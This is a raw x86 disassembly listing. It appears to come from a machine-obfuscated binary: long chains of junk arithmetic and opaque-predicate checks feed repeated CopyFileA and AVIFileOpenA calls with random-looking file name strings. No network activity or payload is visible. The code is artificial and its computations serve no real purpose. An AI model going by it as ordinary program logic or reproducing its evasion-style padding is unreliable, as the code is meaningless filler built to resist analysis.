mov dword [ebp - 0x2370], 0
mov ecx, dword [ebp - 0x15c]
add ecx, 0xa7
cmp ecx, dword [ebp - 0x15c]
jne 0x404ccb
mov dword [ebp - 0x2374], 1
jmp 0x404cd5
mov dword [ebp - 0x2374], 0
mov edx, dword [ebp - 0x15c]
sub edx, 0xb1
and edx, dword [ebp - 0x15c]
and edx, dword [ebp - 0x236c]
imul eax, dword [ebp - 0x15c], 0xbb
and eax, dword [ebp - 0x2370]
and eax, dword [ebp - 0x15c]
or edx, eax
or edx, dword [ebp - 0x2374]
mov dword [ebp - 0xb54], edx
mov ecx, dword [ebp - 0xb54]
neg ecx
xor ecx, dword [ebp - 0xb54]
and ecx, 1
or ecx, 1
mov dword [ebp - 0xb54], ecx
mov edx, dword [ebp - 0xb54]
add edx, 1
mov dword [ebp - 0xb54], edx
mov eax, dword [ebp - 0xb54]
add eax, 1
mov dword [ebp - 0xb54], eax
mov ecx, dword [ebp - 0xb54]
push ecx
mov edx, dword [ebp - 0x72a0]
push edx
mov eax, dword [ebp - 0x72a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x72a8], eax
jmp 0x404d7b
mov ecx, dword [ebp - 0x2b8]
add ecx, 1
mov dword [ebp - 0x2b8], ecx
mov dword [ebp - 0x72ac], str.YUJYZV1rQwP7GVFqq0Nptn4eshI8w
mov dword [ebp - 0x72b0], str.re5B9E8KaW9Dz1LgDOaCgWK7eiyJFQt
cmp dword [ebp - 0x2b8], 0xe4
je 0x404da7
mov dword [ebp - 0x2378], 1
jmp 0x404db1
mov dword [ebp - 0x2378], 0
imul edx, dword [ebp - 0x2b8], 0xe0
imul edx, dword [ebp - 0x2b8]
cmp dword [ebp - 0x2378], edx
jne 0x404dd6
mov dword [ebp - 0x237c], 1
jmp 0x404de0
mov dword [ebp - 0x237c], 0
mov eax, dword [ebp - 0x2b8]
sub eax, dword [ebp - 0x2b8]
and eax, dword [ebp - 0x237c]
or eax, dword [ebp - 0x2b8]
or eax, dword [ebp - 0x2b8]
mov ecx, 0x3c
sub ecx, dword [ebp - 0x2b8]
and ecx, dword [ebp - 0x2b8]
and ecx, 0x83
xor ecx, dword [ebp - 0x2b8]
or eax, ecx
mov edx, dword [ebp - 0x2b8]
imul edx, dword [ebp - 0x2b8]
xor edx, 0x62
xor edx, dword [ebp - 0x2b8]
or eax, edx
mov ecx, 4
sub ecx, dword [ebp - 0x2b8]
or eax, ecx
mov dword [ebp - 0xb18], eax
mov edx, dword [ebp - 0xb18]
not edx
cmp edx, dword [ebp - 0xb18]
jne 0x404e64
mov dword [ebp - 0x2380], 1
jmp 0x404e6e
mov dword [ebp - 0x2380], 0
mov eax, dword [ebp - 0x2380]
add eax, 1
mov dword [ebp - 0xb18], eax
mov ecx, dword [ebp - 0xb18]
add ecx, 1
mov dword [ebp - 0xb18], ecx
mov edx, dword [ebp - 0xb18]
add edx, 1
mov dword [ebp - 0xb18], edx
mov eax, dword [ebp - 0xb18]
push eax
mov ecx, dword [ebp - 0x72ac]
push ecx
mov edx, dword [ebp - 0x72b0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
je 0x40504c
mov dword [ebp - 0x72b4], str.z1Fs18
mov dword [ebp - 0x72b8], str.kRLs1tQ
imul eax, dword [ebp - 0xb0], 0xc7
cmp dword [ebp - 0xb0], eax
je 0x404efb
mov dword [ebp - 0x2384], 1
jmp 0x404f05
mov dword [ebp - 0x2384], 0
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xb0]
sub edx, ecx
sub edx, dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], edx
jne 0x404f34
mov dword [ebp - 0x2388], 1
jmp 0x404f3e
mov dword [ebp - 0x2388], 0
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], eax
jne 0x404f5f
mov dword [ebp - 0x2390], 1
jmp 0x404f69
mov dword [ebp - 0x2390], 0
mov ecx, dword [ebp - 0xb0]
add ecx, 8
cmp dword [ebp - 0xb0], ecx
jne 0x404f86
mov dword [ebp - 0x238c], 1
jmp 0x404f90
mov dword [ebp - 0x238c], 0
imul edx, dword [ebp - 0xb0], 0xa3
imul edx, dword [ebp - 0xb0]
add edx, dword [ebp - 0xb0]
and edx, dword [ebp - 0x2384]
and edx, 0xf0
or edx, dword [ebp - 0x2388]
mov eax, dword [ebp - 0x238c]
and eax, dword [ebp - 0xb0]
xor eax, dword [ebp - 0x2390]
or edx, eax
mov dword [ebp - 0xb58], edx
mov ecx, dword [ebp - 0xb58]
not ecx
cmp ecx, dword [ebp - 0xb58]
jne 0x404fef
mov dword [ebp - 0x2394], 1
jmp 0x404ff9
mov dword [ebp - 0x2394], 0
mov edx, dword [ebp - 0x2394]
add edx, 1
mov dword [ebp - 0xb58], edx
mov eax, dword [ebp - 0xb58]
add eax, 1
mov dword [ebp - 0xb58], eax
mov ecx, dword [ebp - 0xb58]
add ecx, 1
mov dword [ebp - 0xb58], ecx
mov edx, dword [ebp - 0xb58]
push edx
mov eax, dword [ebp - 0x72b4]
push eax
mov ecx, dword [ebp - 0x72b8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x72bc], eax
jmp 0x4051ad
mov dword [ebp - 0x72c0], str.eKODth8cjqEf4vdgJOvHUSuAn2
mov dword [ebp - 0x72c4], str.F9cw0fSR1CFh4mIxQr06MOB3OMtG
cmp dword [ebp - 0xb18], 0x1d
jne 0x405075
mov dword [ebp - 0x2398], 1
jmp 0x40507f
mov dword [ebp - 0x2398], 0
cmp dword [ebp - 0x2398], 0xe7
je 0x405097
mov dword [ebp - 0x239c], 1
jmp 0x4050a1
mov dword [ebp - 0x239c], 0
mov edx, dword [ebp - 0x239c]
cmp edx, dword [ebp - 0xb18]
jne 0x4050bb
mov dword [ebp - 0x23a0], 1
jmp 0x4050c5
mov dword [ebp - 0x23a0], 0
mov eax, dword [ebp - 0x23a0]
cmp eax, dword [ebp - 0xb18]
jne 0x4050df
mov dword [ebp - 0x23a4], 1
jmp 0x4050e9
mov dword [ebp - 0x23a4], 0
imul ecx, dword [ebp - 0xb18], 0x3d
cmp ecx, 0x95
jne 0x405104
mov dword [ebp - 0x23a8], 1
jmp 0x40510e
mov dword [ebp - 0x23a8], 0
mov edx, dword [ebp - 0xb18]
or edx, dword [ebp - 0x23a4]
mov eax, dword [ebp - 0xb18]
sub eax, 0x2e
xor eax, dword [ebp - 0x23a8]
or edx, eax
mov dword [ebp - 0xb5c], edx
mov ecx, dword [ebp - 0xb5c]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xb5c]
and edx, 1
cmp ecx, edx
je 0x405155
mov dword [ebp - 0x23ac], 1
jmp 0x40515f
mov dword [ebp - 0x23ac], 0
mov eax, dword [ebp - 0x23ac]
add eax, 1
mov dword [ebp - 0xb5c], eax
mov ecx, dword [ebp - 0xb5c]
add ecx, 1
mov dword [ebp - 0xb5c], ecx
mov edx, dword [ebp - 0xb5c]
add edx, 1
mov dword [ebp - 0xb5c], edx
mov eax, dword [ebp - 0xb5c]
push eax
mov ecx, dword [ebp - 0x72c0]
push ecx
mov edx, dword [ebp - 0x72c4]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x72c8], eax
mov dword [ebp - 0x72cc], str.pGWZX1c9MSMdll
cmp dword [ebp - 0xb0], 0xf5
je 0x4051cf
mov dword [ebp - 0x23b0], 1
jmp 0x4051d9
mov dword [ebp - 0x23b0], 0
mov eax, dword [ebp - 0xb0]
shl eax, 7
cmp dword [ebp - 0x23b0], eax
je 0x4051f6
mov dword [ebp - 0x23b4], 1
jmp 0x405200
mov dword [ebp - 0x23b4], 0
mov ecx, dword [ebp - 0xb0]
sub ecx, 0xc
mov edx, dword [ebp - 0xb0]
imul edx, dword [ebp - 0xb0]
cmp ecx, edx
je 0x405226
mov dword [ebp - 0x23b8], 1
jmp 0x405230
mov dword [ebp - 0x23b8], 0
imul eax, dword [ebp - 0xb0], 0x1c
add eax, 0x3d
cmp eax, dword [ebp - 0xb0]
je 0x40524e
mov dword [ebp - 0x23bc], 1
jmp 0x405258
mov dword [ebp - 0x23bc], 0
cmp dword [ebp - 0xb0], 0xb6
jne 0x405270
mov dword [ebp - 0x23c0], 1
jmp 0x40527a
mov dword [ebp - 0x23c0], 0
mov ecx, dword [ebp - 0xb0]
and ecx, 0x38
and ecx, dword [ebp - 0x23b4]
mov edx, dword [ebp - 0x23b8]
and edx, dword [ebp - 0x23bc]
xor ecx, edx
imul eax, dword [ebp - 0xb0], 0xba
and eax, dword [ebp - 0xb0]
xor ecx, eax
xor ecx, dword [ebp - 0x23c0]
or ecx, dword [ebp - 0xb0]
or ecx, 0x4f
mov dword [ebp - 0x115c], ecx
mov ecx, dword [ebp - 0x115c]
neg ecx
xor ecx, dword [ebp - 0x115c]
and ecx, 1
or ecx, 2
mov dword [ebp - 0x115c], ecx
push 0
mov edx, dword [ebp - 0x115c]
push edx
mov eax, dword [ebp - 0x72cc]
push eax
lea ecx, [ebp - 0x93fc]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ab4], eax
cmp dword [ebp - 0x1ab4], 0
je 0x405305
jmp 0x405314
mov edx, dword [ebp - 0x1ab4]
add edx, 1
mov dword [ebp - 0x1ab4], edx
mov dword [ebp - 0x74bc], 0x400000
mov dword [ebp - 0x72d0], str.ykf4Nu2TptrSw1i1ISfn
mov eax, dword [ebp - 8]
sub eax, 0xe8
cmp eax, dword [ebp - 8]
je 0x405341
mov dword [ebp - 0x23c8], 1
jmp 0x40534b
mov dword [ebp - 0x23c8], 0
mov ecx, dword [ebp - 8]
add ecx, 0x9f
cmp ecx, dword [ebp - 8]
jne 0x405365
mov dword [ebp - 0x23cc], 1
jmp 0x40536f
mov dword [ebp - 0x23cc], 0
mov edx, dword [ebp - 8]
add edx, 0xa4
sub edx, dword [ebp - 8]
cmp edx, dword [ebp - 8]
jne 0x40538c
mov dword [ebp - 0x23c4], 1
jmp 0x405396
mov dword [ebp - 0x23c4], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
imul eax, dword [ebp - 8]
cmp dword [ebp - 0x23c4], eax
jne 0x4053b5
mov dword [ebp - 0x23d0], 1
jmp 0x4053bf
mov dword [ebp - 0x23d0], 0
mov ecx, dword [ebp - 0x23c8]
and ecx, dword [ebp - 0x23cc]
mov edx, 0x56
sub edx, dword [ebp - 8]
xor ecx, edx
imul eax, dword [ebp - 8], 0x6a
imul eax, dword [ebp - 8]
or ecx, eax
or ecx, dword [ebp - 8]
or ecx, 0xdf
or ecx, dword [ebp - 0x23d0]
mov dword [ebp - 0x1160], ecx
mov ecx, dword [ebp - 0x1160]
add ecx, dword [ebp - 0x1160]
and ecx, 1
mov dword [ebp - 0x1160], ecx
push 0
mov edx, dword [ebp - 0x1160]
push edx
mov eax, dword [ebp - 0x72d0]
push eax
lea ecx, [ebp - 0x9400]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
je 0x407bfc
mov dword [ebp - 0x72d4], str.hKQqc00F
mov dword [ebp - 0x72d8], str.lHwOqDsElQoeTyTh
mov edx, 0xf
sub edx, dword [ebp - 0x160]
cmp edx, 0x43
jne 0x405468
mov dword [ebp - 0x23d4], 1
jmp 0x405472
mov dword [ebp - 0x23d4], 0
imul eax, dword [ebp - 0x160], 0x34
mov ecx, 0xe9
sub ecx, eax
imul edx, dword [ebp - 0x160], 0x92
sub edx, dword [ebp - 0x160]
and edx, dword [ebp - 0x160]
xor ecx, edx
mov eax, dword [ebp - 0x160]
add eax, 0x4e
and eax, dword [ebp - 0x160]
and eax, dword [ebp - 0x23d4]
and eax, dword [ebp - 0x160]
mov edx, dword [ebp - 0x160]
imul edx, dword [ebp - 0x160]
add edx, 1
and eax, edx
mov edx, dword [ebp - 0x160]
add edx, dword [ebp - 0x160]
and eax, edx
xor ecx, eax
or ecx, dword [ebp - 0x160]
or ecx, dword [ebp - 0x160]
mov dword [ebp - 0x90c], ecx
mov eax, dword [ebp - 0x90c]
add eax, dword [ebp - 0x90c]
and eax, 1
or eax, 1
mov dword [ebp - 0x90c], eax
mov ecx, dword [ebp - 0x90c]
add ecx, 1
mov dword [ebp - 0x90c], ecx
mov edx, dword [ebp - 0x90c]
add edx, 1
mov dword [ebp - 0x90c], edx
mov eax, dword [ebp - 0x90c]
push eax
mov ecx, dword [ebp - 0x72d4]
push ecx
mov edx, dword [ebp - 0x72d8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0
je 0x4060d1
mov dword [ebp - 0x72dc], str.2iyLCINdu9RVbvHT5kjbEv04D0VEJI
mov eax, dword [ebp - 0x398]
sub eax, 0xc
cmp eax, dword [ebp - 0x398]
jne 0x405572
mov dword [ebp - 0x23d8], 1
jmp 0x40557c
mov dword [ebp - 0x23d8], 0
cmp dword [ebp - 0x23d8], 0xce
jne 0x405594
mov dword [ebp - 0x23e0], 1
jmp 0x40559e
mov dword [ebp - 0x23e0], 0
cmp dword [ebp - 0x398], 0x96
jne 0x4055b6
mov dword [ebp - 0x23e4], 1
jmp 0x4055c0
mov dword [ebp - 0x23e4], 0
mov ecx, dword [ebp - 0x398]
imul ecx, dword [ebp - 0x398]
cmp ecx, 0x7f
je 0x4055de
mov dword [ebp - 0x23dc], 1
jmp 0x4055e8
mov dword [ebp - 0x23dc], 0
mov edx, dword [ebp - 0x23dc]
cmp edx, dword [ebp - 0x398]
jne 0x405602
mov dword [ebp - 0x23e8], 1
jmp 0x40560c
mov dword [ebp - 0x23e8], 0
mov eax, dword [ebp - 0x398]
add eax, dword [ebp - 0x398]
cmp eax, 0xc9
je 0x40562b
mov dword [ebp - 0x23ec], 1
jmp 0x405635
mov dword [ebp - 0x23ec], 0
mov ecx, dword [ebp - 0x398]
xor ecx, dword [ebp - 0x23e0]
mov edx, dword [ebp - 0x23e4]
and edx, dword [ebp - 0x23e8]
xor ecx, edx
imul eax, dword [ebp - 0x398], 0x29
add eax, dword [ebp - 0x398]
and eax, dword [ebp - 0x23ec]
xor ecx, eax
mov dword [ebp - 0x1164], ecx
mov ecx, dword [ebp - 0x1164]
neg ecx
xor ecx, dword [ebp - 0x1164]
and ecx, 1
add ecx, 3
mov dword [ebp - 0x1164], ecx
push 0
mov edx, dword [ebp - 0x1164]
push edx
mov eax, dword [ebp - 0x72dc]
push eax
lea ecx, [ebp - 0x9404]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x405c52
mov dword [ebp - 0x72e0], str.5mCUmPwzju10MieS0j
mov dword [ebp - 0x72e4], str.RZ69Av8xu8q
imul edx, dword [ebp - 0xb4], 0x67
mov eax, 0x71
sub eax, edx
add eax, dword [ebp - 0xb4]
cmp eax, 0x89
jne 0x4056ee
mov dword [ebp - 0x23f4], 1
jmp 0x4056f8
mov dword [ebp - 0x23f4], 0
cmp dword [ebp - 0xb4], 0xee
je 0x405710
mov dword [ebp - 0x23f8], 1
jmp 0x40571a
mov dword [ebp - 0x23f8], 0
cmp dword [ebp - 0xb4], 0xd9
je 0x405732
mov dword [ebp - 0x23fc], 1
jmp 0x40573c
mov dword [ebp - 0x23fc], 0
mov ecx, dword [ebp - 0xb4]
cmp ecx, dword [ebp - 0xb4]
je 0x405756
mov dword [ebp - 0x23f0], 1
jmp 0x405760
mov dword [ebp - 0x23f0], 0
cmp dword [ebp - 0x23f0], 0x50
je 0x405775
mov dword [ebp - 0x2400], 1
jmp 0x40577f
mov dword [ebp - 0x2400], 0
imul edx, dword [ebp - 0xb4], 0x11
sub edx, dword [ebp - 0xb4]
cmp edx, 0xc
je 0x40579d
mov dword [ebp - 0x2404], 1
jmp 0x4057a7
mov dword [ebp - 0x2404], 0
mov eax, dword [ebp - 0xb4]
xor eax, dword [ebp - 0x23f4]
mov ecx, dword [ebp - 0xb4]
and ecx, dword [ebp - 0x23f8]
xor eax, ecx
mov edx, dword [ebp - 0xb4]
add edx, dword [ebp - 0xb4]
and edx, dword [ebp - 0xb4]
or eax, edx
or eax, dword [ebp - 0x23fc]
mov ecx, dword [ebp - 0x2400]
xor ecx, dword [ebp - 0x2404]
or eax, ecx
mov dword [ebp - 0x618], eax
mov edx, dword [ebp - 0x618]
not edx
cmp edx, dword [ebp - 0x618]
jne 0x40580b
mov dword [ebp - 0x2408], 1
jmp 0x405815
mov dword [ebp - 0x2408], 0
mov eax, dword [ebp - 0x2408]
add eax, 1
mov dword [ebp - 0x618], eax
mov ecx, dword [ebp - 0x618]
add ecx, 1
mov dword [ebp - 0x618], ecx
mov edx, dword [ebp - 0x618]
add edx, 1
mov dword [ebp - 0x618], edx
mov eax, dword [ebp - 0x618]
push eax
mov ecx, dword [ebp - 0x72e0]
push ecx
mov edx, dword [ebp - 0x72e4]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0
je 0x405975
mov dword [ebp - 0x72e8], str.amA738Qi
mov eax, dword [ebp - 0x540]
add eax, 0xffffffbf
add eax, dword [ebp - 0x540]
add eax, dword [ebp - 0x540]
mov ecx, dword [ebp - 0x540]
add ecx, 0xc9
sub ecx, dword [ebp - 0x540]
cmp eax, ecx
je 0x4058b1
mov dword [ebp - 0x240c], 1
jmp 0x4058bb
mov dword [ebp - 0x240c], 0
imul edx, dword [ebp - 0x540], 0x63
add edx, 0xd0
cmp dword [ebp - 0x240c], edx
jne 0x4058dc
mov dword [ebp - 0x2410], 1
jmp 0x4058e6
mov dword [ebp - 0x2410], 0
mov eax, dword [ebp - 0x2410]
cmp eax, dword [ebp - 0x540]
je 0x405900
mov dword [ebp - 0x2414], 1
jmp 0x40590a
mov dword [ebp - 0x2414], 0
mov ecx, dword [ebp - 0x540]
and ecx, dword [ebp - 0x2414]
mov dword [ebp - 0x1168], ecx
mov edx, dword [ebp - 0x1168]
add edx, dword [ebp - 0x1168]
and edx, 1
add edx, 1
mov dword [ebp - 0x1168], edx
push 0
mov eax, dword [ebp - 0x1168]
push eax
mov ecx, dword [ebp - 0x72e8]
push ecx
lea edx, [ebp - 0x9408]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ab8], eax
cmp dword [ebp - 0x1ab8], 0
je 0x405961
jmp 0x405970
mov eax, dword [ebp - 0x1ab8]
add eax, 1
mov dword [ebp - 0x1ab8], eax
jmp 0x405ad2
mov dword [ebp - 0x72ec], str.kKKMCJ
mov dword [ebp - 0x72f0], str.xevY9suRP
imul ecx, dword [ebp - 0x618], 0x52
cmp ecx, 0x99
je 0x4059a4
mov dword [ebp - 0x2418], 1
jmp 0x4059ae
mov dword [ebp - 0x2418], 0
mov edx, dword [ebp - 0x618]
add edx, 0x8a
sub edx, dword [ebp - 0x618]
cmp edx, 0x8c
jne 0x4059d4
mov dword [ebp - 0x241c], 1
jmp 0x4059de
mov dword [ebp - 0x241c], 0
mov eax, dword [ebp - 0x618]
cmp eax, dword [ebp - 0x618]
je 0x4059f8
mov dword [ebp - 0x2420], 1
jmp 0x405a02
mov dword [ebp - 0x2420], 0
mov ecx, dword [ebp - 0x618]
xor ecx, dword [ebp - 0x618]
xor ecx, 0xb5
imul edx, dword [ebp - 0x618], 0xa0
and edx, dword [ebp - 0x618]
and edx, dword [ebp - 0x618]
and edx, dword [ebp - 0x2418]
xor ecx, edx
mov eax, dword [ebp - 0x618]
xor eax, dword [ebp - 0x618]
or ecx, eax
or ecx, dword [ebp - 0x241c]
imul edx, dword [ebp - 0x618], 0x9c
and edx, dword [ebp - 0x2420]
or ecx, edx
mov dword [ebp - 0xb60], ecx
mov eax, dword [ebp - 0xb60]
not eax
cmp eax, dword [ebp - 0xb60]
jne 0x405a7a
mov dword [ebp - 0x2424], 1
jmp 0x405a84
mov dword [ebp - 0x2424], 0
mov ecx, dword [ebp - 0x2424]
or ecx, 1
mov dword [ebp - 0xb60], ecx
mov edx, dword [ebp - 0xb60]
add edx, 1
mov dword [ebp - 0xb60], edx
mov eax, dword [ebp - 0xb60]
add eax, 1
mov dword [ebp - 0xb60], eax
mov ecx, dword [ebp - 0xb60]
push ecx
mov edx, dword [ebp - 0x72ec]
push edx
mov eax, dword [ebp - 0x72f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x72f4], eax
mov dword [ebp - 0x72f8], str.t5du5b776rLbSJPB5tsbV0Yco
mov dword [ebp - 0x72fc], str.B3dPoNGxlK
imul ecx, dword [ebp - 0x540], 0x56
mov edx, dword [ebp - 0x540]
add edx, dword [ebp - 0x540]
cmp ecx, edx
jne 0x405b09
mov dword [ebp - 0x2438], 1
jmp 0x405b13
mov dword [ebp - 0x2438], 0
imul eax, dword [ebp - 0x540], 0x33
cmp eax, 0xb3
jne 0x405b2d
mov dword [ebp - 0x2428], 1
jmp 0x405b37
mov dword [ebp - 0x2428], 0
mov ecx, dword [ebp - 0x2428]
cmp ecx, dword [ebp - 0x540]
jne 0x405b51
mov dword [ebp - 0x242c], 1
jmp 0x405b5b
mov dword [ebp - 0x242c], 0
cmp dword [ebp - 0x242c], 0x52
je 0x405b70
mov dword [ebp - 0x2430], 1
jmp 0x405b7a
mov dword [ebp - 0x2430], 0
mov edx, dword [ebp - 0x2430]
cmp edx, dword [ebp - 0x540]
je 0x405b94
mov dword [ebp - 0x2434], 1
jmp 0x405b9e
mov dword [ebp - 0x2434], 0
mov eax, 0xfa
sub eax, dword [ebp - 0x540]
cmp dword [ebp - 0x2434], eax
jne 0x405bbd
mov dword [ebp - 0x243c], 1
jmp 0x405bc7
mov dword [ebp - 0x243c], 0
mov ecx, dword [ebp - 0x540]
add ecx, 0x4c
xor ecx, dword [ebp - 0x540]
mov edx, dword [ebp - 0x540]
imul edx, dword [ebp - 0x540]
xor edx, dword [ebp - 0x2438]
xor edx, dword [ebp - 0x243c]
or ecx, edx
mov dword [ebp - 0xb64], ecx
mov eax, dword [ebp - 0xb64]
neg eax
xor eax, dword [ebp - 0xb64]
and eax, 1
add eax, 1
mov dword [ebp - 0xb64], eax
mov ecx, dword [ebp - 0xb64]
add ecx, 1
mov dword [ebp - 0xb64], ecx
mov edx, dword [ebp - 0xb64]
add edx, 1
mov dword [ebp - 0xb64], edx
mov eax, dword [ebp - 0xb64]
push eax
mov ecx, dword [ebp - 0x72f8]
push ecx
mov edx, dword [ebp - 0x72fc]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7300], eax
jmp 0x405c61
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x7304], str.gZPgVSC
mov ecx, dword [ebp - 0xb4]
add ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xb4]
add edx, 0x47
cmp ecx, edx
jne 0x405c90
mov dword [ebp - 0x2448], 1
jmp 0x405c9a
mov dword [ebp - 0x2448], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ebp - 0xb4]
mov edx, 0x9c
sub edx, ecx
cmp eax, edx
jne 0x405cca
mov dword [ebp - 0x2440], 1
jmp 0x405cd4
mov dword [ebp - 0x2440], 0
cmp dword [ebp - 0x2440], 2
je 0x405ce9
mov dword [ebp - 0x244c], 1
jmp 0x405cf3
mov dword [ebp - 0x244c], 0
cmp dword [ebp - 0xb4], 0x9f
je 0x405d0b
mov dword [ebp - 0x2454], 1
jmp 0x405d15
mov dword [ebp - 0x2454], 0
cmp dword [ebp - 0xb4], 0xfd
je 0x405d2d
mov dword [ebp - 0x2444], 1
jmp 0x405d37
mov dword [ebp - 0x2444], 0
mov eax, dword [ebp - 0x2444]
cmp eax, dword [ebp - 0xb4]
je 0x405d51
mov dword [ebp - 0x2450], 1
jmp 0x405d5b
mov dword [ebp - 0x2450], 0
mov ecx, dword [ebp - 0xb4]
cmp ecx, dword [ebp - 0xb4]
je 0x405d75
mov dword [ebp - 0x2458], 1
jmp 0x405d7f
mov dword [ebp - 0x2458], 0
mov edx, dword [ebp - 0x2448]
or edx, dword [ebp - 0x244c]
or edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x2450]
and eax, 0xc1
xor eax, dword [ebp - 0x2454]
xor eax, dword [ebp - 0x2458]
or edx, eax
mov dword [ebp - 0x116c], edx
mov ecx, dword [ebp - 0x116c]
not ecx
cmp ecx, dword [ebp - 0x116c]
jne 0x405dcc
mov dword [ebp - 0x245c], 1
jmp 0x405dd6
mov dword [ebp - 0x245c], 0
mov edx, dword [ebp - 0x245c]
or edx, 2
mov dword [ebp - 0x116c], edx
push 0
mov eax, dword [ebp - 0x116c]
push eax
mov ecx, dword [ebp - 0x7304]
push ecx
lea edx, [ebp - 0x940c]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x405f3d
mov dword [ebp - 0x7308], str.X9pDJtbKigSa1mScs82juy9
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0xf4]
imul ecx, dword [ebp - 0xf4], 0x86
sub eax, ecx
add eax, dword [ebp - 0xf4]
cmp eax, 0x3f
jne 0x405e54
mov dword [ebp - 0x2460], 1
jmp 0x405e5e
mov dword [ebp - 0x2460], 0
mov edx, dword [ebp - 0xf4]
cmp edx, dword [ebp - 0xf4]
jne 0x405e78
mov dword [ebp - 0x2464], 1
jmp 0x405e82
mov dword [ebp - 0x2464], 0
imul eax, dword [ebp - 0xf4], 0xea
add eax, dword [ebp - 0xf4]
cmp eax, 0x7d
jne 0x405ea3
mov dword [ebp - 0x2468], 1
jmp 0x405ead
mov dword [ebp - 0x2468], 0
mov ecx, dword [ebp - 0x2460]
xor ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xf4]
sub edx, 0xe0
and edx, dword [ebp - 0x2464]
xor ecx, edx
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf4]
xor ecx, eax
or ecx, dword [ebp - 0x2468]
mov dword [ebp - 0x1170], ecx
mov ecx, dword [ebp - 0x1170]
add ecx, dword [ebp - 0x1170]
and ecx, 1
add ecx, 4
mov dword [ebp - 0x1170], ecx
push 0
mov edx, dword [ebp - 0x1170]
push edx
mov eax, dword [ebp - 0x7308]
push eax
lea ecx, [ebp - 0x9410]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1abc], eax
cmp dword [ebp - 0x1abc], 0
je 0x405f2c
jmp 0x405f3b
mov edx, dword [ebp - 0x1abc]
add edx, 1
mov dword [ebp - 0x1abc], edx
jmp 0x405f4c
mov eax, dword [ebp - 0xf4]
add eax, 1
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x730c], str.t0ep7
mov ecx, dword [ebp - 0xf4]
sub ecx, dword [ebp - 0xf4]
cmp ecx, dword [ebp - 0xf4]
je 0x405f76
mov dword [ebp - 0x2478], 1
jmp 0x405f80
mov dword [ebp - 0x2478], 0
mov edx, dword [ebp - 0xf4]
sub edx, 0x27
add edx, dword [ebp - 0xf4]
add edx, 9
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf4]
cmp edx, eax
je 0x405fae
mov dword [ebp - 0x246c], 1
jmp 0x405fb8
mov dword [ebp - 0x246c], 0
mov ecx, 0x73
sub ecx, dword [ebp - 0xf4]
cmp dword [ebp - 0x246c], ecx
je 0x405fd7
mov dword [ebp - 0x2470], 1
jmp 0x405fe1
mov dword [ebp - 0x2470], 0
cmp dword [ebp - 0x2470], 0xcf
je 0x405ff9
mov dword [ebp - 0x2474], 1
jmp 0x406003
mov dword [ebp - 0x2474], 0
mov edx, dword [ebp - 0x2474]
cmp edx, dword [ebp - 0xf4]
jne 0x40601d
mov dword [ebp - 0x247c], 1
jmp 0x406027
mov dword [ebp - 0x247c], 0
mov eax, dword [ebp - 0xf4]
sub eax, 0xac
sub eax, dword [ebp - 0xf4]
and eax, dword [ebp - 0x2478]
imul ecx, dword [ebp - 0xf4], 0x67
and ecx, 0x14
xor ecx, dword [ebp - 0x247c]
or eax, ecx
mov dword [ebp - 0x1174], eax
mov edx, dword [ebp - 0x1174]
neg edx
and edx, 1
mov eax, dword [ebp - 0x1174]
and eax, 1
cmp edx, eax
je 0x40607a
mov dword [ebp - 0x2480], 1
jmp 0x406084
mov dword [ebp - 0x2480], 0
mov ecx, dword [ebp - 0x2480]
mov dword [ebp - 0x1174], ecx
push 0
mov edx, dword [ebp - 0x1174]
push edx
mov eax, dword [ebp - 0x730c]
push eax
lea ecx, [ebp - 0x9414]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1ac0], eax
cmp dword [ebp - 0x1ac0], 0
je 0x4060bd
jmp 0x4060cc
mov edx, dword [ebp - 0x1ac0]
add edx, 1
mov dword [ebp - 0x1ac0], edx
jmp 0x406c0a
mov dword [ebp - 0x7310], str.WdUx5LzM1lhyhLoHIJZsIP
imul eax, dword [ebp - 0x90c], 0xaa
add eax, dword [ebp - 0x90c]
add eax, dword [ebp - 0x90c]
cmp dword [ebp - 0x90c], eax
jne 0x406105
mov dword [ebp - 0x2484], 1
jmp 0x40610f
mov dword [ebp - 0x2484], 0
mov ecx, 0x4c
sub ecx, dword [ebp - 0x90c]
